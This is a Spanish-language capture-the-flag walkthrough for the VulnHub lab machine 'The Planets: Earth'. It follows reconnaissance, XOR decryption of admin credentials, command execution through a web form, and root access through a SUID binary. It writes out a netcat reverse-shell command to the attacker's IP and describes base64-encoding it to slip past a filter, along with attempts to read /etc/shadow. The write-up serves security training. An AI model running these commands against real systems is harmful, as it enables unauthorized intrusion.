VulnHub — The Planets: Earth CTF Walkthrough

Descripción
Máquina de nivel fácil, el objetivo de este CTF es encontrar las dos banderas de usuario y root que incluyen un hash md5.

1. Fase de Reconocimiento y Enumeración
Utilizaré la herramienta Netdiscover para identificar la máquina objetivo.
La máquina tiene la dirección IP 192.168.50.113.

Ahora vamos a averiguar qué servicios se están ejecutando en la máquina objetivo. Utilizaré la herramienta Nmap para enumerar servicios.
Ahora vamos averiguar las versiones de los servicios que se están ejecutando.
Tenemos 3 puertos abiertos, el puerto 22 ejecutando un servicio SSH y los puertos 80,443 ejecutando una aplicación Python a través del servidor Apache.

Ahora visitaré los servicios web a través del navegador web para analizar la respuesta que da el servidor web.
Como se observa en la imagen al ingresar la dirección IP en el navegador web, se nos devuelve un código de estado 400, este código indica que el servidor no puede procesar la solicitud o no quiere procesar la solicitud. También como se muestra en la imagen la conexión se realiza a través del protocolo https, por lo tanto, voy analizar el certificado SSL para encontrar alguna información. La herramienta que utilizaré será sslscan.
Al analizar el certificado SSL en él se indica dos servidores DNS para el servicio web. Por lo tanto, lo que haré se registrar esos DNS en mi archivo hosts ubicados en /etc/hosts de la siguiente manera.

Luego visitaré la página web poniendo la siguiente dirección en la barra de direcciones en navegador web https://earth.local.
bien! encontramos un sitio web.

El archivo "hosts" en un computador es utilizado por el sistema operativo para resolver direcciones IP. Es decir, en él se guarda la correspondencia entre dominios y direcciones IPs. Cabe mencionar, que un dominio es un nombre único que identifica un recurso en la Internet, el objetivo de los dominios es traducir direcciones IP de un recurso en Internet a nombres memorizables y fácil de recordar.

En la actualidad no se utiliza el archivo "hosts" para resolver direcciones IP, debido al incremento exponencial de la Internet, cada día hay más páginas web y otras aplicaciones que hacen uso de la Internet. Debido a esta situación se hace difícil mantener actualizado el archivo "hosts". En su remplazo se crearon los servidores DNS (Domain Name Server) encargados de mantener los registros de direcciones IP y su respectivo nombre de dominio.

En resumen, la página web se está ejecutando a través del protocolo https con un certificado auto firmado, además el Certificado proporciona dos servidores DNS earth.local y terratest.earth.local, lo que significa que probablemente en el servidor apache se configuró dos VirtualHost para cada dominio.

Dicho lo anterior, ejecutaré la herramienta dirb para cada dominio en busca de directorios en el servidor web.
Para el dominio earth.local se encontraron los siguientes directorios:
  • https://earth.local/admin (CODE:301|SIZE:0)
  • https://earth.local/cgi-bin/ (CODE:403|SIZE:199) 
https://earth.local/admin/
https://earth.local/cgi-bin/
Para el dominio terratest.earth.local se encontraron los siguientes directorios:
  • https://terratest.earth.local/cgi-bin/ (CODE:403|SIZE:199)
  • https://terratest.earth.local/index.html (CODE:200|SIZE:26)
  • https://terratest.earth.local/robots.txt (CODE:200|SIZE:521)
https://terratest.earth.local/cgi-bin/
https://terratest.earth.local/index.html

https://terratest.earth.local/robots.txt
El archivo robots.txt es un archivo ubicado en la raíz del directorio web, es utilizado para indicarle a los rastreadores web que directorio pueden visitar o no para su posicionamiento o indexación.

En este caso el archivo robots.txt indica que existe un archivo llamado testingnotes, además, se indica un listado de extensiones de archivo que deben se ignorados por los rastreadores.

Ahora comprobaré si el servidor web responde con un código http 200 "OK" a la siguiente prueba que realizaré con la herramienta ffuz.

Cree un diccionario con todas las extensiones de archivo que encontré en el archivo robots.txt.
Después con la herramienta ffuz realicé una técnica llamada fuzzer para remplazar el valor de FUZZ por cada valor del diccionario creado anteriormente.
Como se muestra en la imagen la extensión .txt respondió con un código de estado 200 "Ok". Por lo tanto, en el navegador web visitaré la siguiente url https://terratest.earth.local/testingnotes.txt  
Bien! encontramos algo interesante. En la página web se muestra algunas Notas sobre cómo hacer las pruebas del sistema mensajería segura. 

Notas sobre la prueba del sistema de mensajería segura:

*Usar el cifrado XOR como algoritmo debería ser seguro como se usa en RSA.
*Earth ha confirmado que han recibido nuestros mensajes enviados.
*testdata.txt se usó para probar el cifrado.
*terra utilizado como nombre de usuario para el portal de administración.

Hacer:

*¿Cómo enviamos nuestras claves mensuales a la Tierra de forma segura? ¿O deberíamos cambiar las llaves semanalmente?
*Necesita probar diferentes longitudes de clave para protegerse contra la fuerza bruta. ¿Qué longitud debe tener la llave?
*Necesita mejorar la interfaz de mensajería y el panel de administración, actualmente es muy básico.

Aquí me llama la atención el archivo testdata.txt que se utilizó para probar el cifrado. Lo que haré será visitar la siguiente url: https://terratest.earth.local/testdata.txt.

Hasta aquí tenemos varias cosas interesantes.
  • Tenemos un nombre de usuario terra.
  • Tenemos la información de cifrado en este caso se utiliza la función XOR para el cifrado.
  • Por último, tenemos la semilla de cifrado utilizada por la función XOR, el archivo testdata.txt.
Tenemos todo para poder descifrar los mensajes en la página web earth.local.

En resumen, tenemos la siguiente información del objetivo.
  • Puerto 22 SSH OpenSSH versión 8.6 (Protocolo 2.0).
  • Puertos 80, 443 http y https respectivamente, Apache versión 2.4.51.
 2. Fase de Análisis de Vulnerabilidades.
 Ahora realizaré un escáner de vulnerabilidades, utilizaré el escáner Nikto. Con esto terminaré la fase de reconocimiento y enumeración 
Analizando los resultados del escáner de vulnerabilidades me llama la atención dos cosas. La primera cosa es la versión de apache 2.4.51 que el escáner nos indica que esta descontinuada o es una versión antigua lo que significa que probablemente exista alguna vulnerabilidad explotable. La segunda cosa es que al parecer el servidor es vulnerable a XST.

3. Fase de Explotación.
Ahora pasaremos a la fase de explotación. Comenzaré descifrando los mensajes expuestos en la página web earth.local.
Utilizaré la herramienta Cyberchef para realizar la operación XOR y descifrar los mensajes.
Comencé descifrando el último mensaje, al analizar el resultado hay una cadena de caracteres que se repite varias veces earthclimatechangebad4humans.

Ahora descifraré los otros mensajes.
En los otros mensajes no hay nada interesantes.

Utilizaré el usuario terra y la cadena earthclimatechangebad4humans como password para hacer login en la página web earth.local/admin, veamos que sucede.


Bien! la frase earthclimatechangebad4humans es la password para el usuario terra. Luego, de realizar un login exitoso se presenta una página web en la cual a través de un formulario web podemos ejecutar comando del sistema operativo. Haré una prueba enviaré a través del formulario web el siguiente comando ls -l para listar los archivos del directorio actual.
ahora probaré si puedo ver el archivo /etc/shadow en este archivo se guardan los hashes de las contraseñas de usuarios.
No tenemos acceso al archivo /etc/shadow. Si tuvieramos acceso a este archivo podríamos obtener los hashes de usuario y a través de la técnica de fuerza bruta por diccionario descifrar esos hashes y poder elevar privilegios en sistema objetivo.

Revisaré los diferentes directorios en busca de algo interesante.
Encontré algo interesante un archivo user_flag.txt. Ahora con el siguiente comando veré su contenido cat /var/earth_web/user_flag.txt.
Bien! obtuvimos nuestro primer flag (Bandera), como se indica en la descripción del laboratorio.

Ahora utilizaré la herramienta Netcat para crear una conexión reversa. En mi máquina atacante ejecutaré netcat de la siguiente manera.
Ahora mi máquina está escuchando en el puerto 4444 y enviaré el siguiente comando a la máquina objetivo 
nc -e /bin/bash 192.168.50.130 4444.
Al enviar le comando para generar una conexión reversa, la página web nos muestra un mensaje que dice "Remote connections are forbidden.", es decir, las conexiones remotas están prohibidas. Entonces probare lo siguiente, codificaré en base 64 el comando para luego forzar en el servidor la descodificación y por lo tanto su ejecución. El comando codificado quedaría de la siguiente manera.
Con el comando codificado en base 64, lo enviare de la siguiente manera al servidor.

Bien! Obtuvimos una conexión reserva con el servidor. Ahora necesitamos elevar privilegio de root para encontrar nuestro root flag.

4. Elevar privilegio.
Como se muestra en la imagen nuestro usuario es apache. Por lo tanto, necesitamos buscar algún archivo que el usuario apache pueda ejecutar como root para poder elevar privilegios.

Entonces, ejecutaré el siguiente comando.
El comando find de Linux busca archivos en una jerarquía de directorios. y los parámetros tienen el siguiente significado.

(/) 
Le indica al comando find que haga la busca desde el archivo raíz del sistema de archivo

(-perm -u=s)
Específica el criterio de búsqueda, en este caso permite que un archivo sea ejecutado con los privilegios del propietario del archivo en lugar de los del usuario que lo ejecuta.

(-type f)
Le indica al comando find que los busque archivos regulares.

(2> /dev/null)
redirige los errores estándar a /dev/null, donde se descartan los mensajes de error. Esto se hace para evitar mostrar los mensajes de error en la salida estándar.

Aquí hay un archivo llamado reset_root, es un nombre sugerente!. Averiguaré que tipo de archivo es.
Es un archivo ejecutable ELF, lo ejecutaré para ver que sucede.
Al ejecutar el archivo reset_root me da un error que dice "reinicio fallo, todos los disparadores no están presente". Entonces, traeré el archivo a mi máquina para analizarlo de la siguientes manera.
En mi máquina con la herramienta Netcat dejaré escuchando el puerto 4443 y redirijo el flujo a un archivo reset_root.

Luego, en nuestra conexión con el servidor objetivo ejecuto el siguiente comando.  
 
Y en nuestra máquina recibimos el archivo reset_root para analizarlo.
Ahora debemos agregar el permiso de ejecución al archivo reset_root para poder analizarlo con la utilidad ltrace de Linux.
 
 
Falta crear los archivos que se muestran marcados en verde para que al ejecutar el archivo reset_root no de error. 
Al ejecutar el archivo reset_root funciono y reinicio la password de root a Earth.
Bien! Ya somo usuario root, ahora nos queda encontrar el root flag.
En el directorio root/ está nuestro root flag.

Happy Hack!!!



 

Comentarios